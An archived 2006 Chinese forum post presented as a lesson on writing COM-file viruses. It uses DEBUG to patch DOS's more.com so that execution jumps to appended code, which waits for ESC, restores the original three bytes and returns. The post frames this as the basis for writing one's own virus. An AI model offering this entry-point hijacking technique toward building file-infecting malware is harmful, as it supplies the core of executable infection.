| 查看: 329 | 回复: 1 | |||
| 当前主题已经存档。 | |||
sdlj8051金虫 (著名写手)
|
[交流]
学写com型病毒的技术
|
||
|
COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。运行我们的DEBUG程序,我们先来做一个练习。我们拿DOS6.22中的more.com来做实验。 C:\>debug more.com -u -u 0CA4:0100 B8371E MOV AX,1E37 ;注意前三个字节的内容 0CA4:0103 BA3008 MOV DX,0830 0CA4:0106 3BC4 CMP AX,SP 0CA4:0108 7369 JNB 0173 0CA4:010A 8BC4 MOV AX,SP 0CA4:010C 2D4403 SUB AX,0344 0CA4:010F 90 NOP 0CA4:0110 25F0FF AND AX,FFF0 0CA4:0113 8BF8 MOV DI,AX 0CA4:0115 B9A200 MOV CX,00A2 0CA4:0118 90 NOP 0CA4:0119 BE7E01 MOV SI,017E 0CA4:011C FC CLD 0CA4:011D F3 REPZ 0CA4:011E A5 MOVSW 0CA4:011F 8BD8 MOV BX,AX -r AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000 DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100 NV UP EI PL NZ NA PO NC 0CA4:0100 B8371E MOV AX,1E37 -a af1 0CA4:0AF1 mov ah,0 0CA4:0AF3 int 16 ;等待按键 0CA4:0AF5 cmp al,1b ;等待ESC键 0CA4:0AF7 jnz af1 0CA4:0AF9 mov word ptr [100],37b8 ;恢复程序开始的三个字节 0CA4:0AFF mov byte ptr [102],1e 0CA4:0B04 push cs ;进栈CS:100 0CA4:0B05 mov si,100 0CA4:0B08 push si 0CA4:0B09 retf ;RetF回到CS:100,程序开始处 0CA4:0B0A -a 100 0CA4:0100 jmp af1 ;将程序开头改成跳转到修改的模块 0CA4:0103 -rcx CX 09F1 :a0a -w Writing 00A0A bytes -q 修改完了,我们来执行一下more,发现什么没有?哈哈,如果不按ESC键程序无法执行,流程很简单: 1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。 2、最先执行添加的程序(相当于病毒模块),等待ESC键 3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序) 好了,大家如果能看懂上面这段话,那你离编写自己的COM病毒将不会很远了。 [ Last edited by 幻影无痕 on 2006-10-17 at 09:03 ] |
» 猜你喜欢
AI 太可怕了,写基金时,提出想法,直接生成的文字比自己想得深远,还有科学性
已经有3人回复
有院领导为了换新车,用横向课题经费买了俩车
已经有9人回复
酰胺脱乙酰基
已经有13人回复
博士延得我,科研能力直往上蹿
已经有8人回复
同年申请2项不同项目,第1个项目里不写第2个项目的信息,可以吗
已经有4人回复
有时候真觉得大城市人没有县城人甚至个体户幸福
已经有10人回复
天津大学招2026.09的博士生,欢迎大家推荐交流(博导是本人)
已经有5人回复
CSC & MSCA 博洛尼亚大学能源材料课题组博士/博士后招生|MSCA经费充足、排名优
已经有6人回复
遇见不省心的家人很难过
已经有22人回复
|
2楼2006-12-29 01:09:42













回复此楼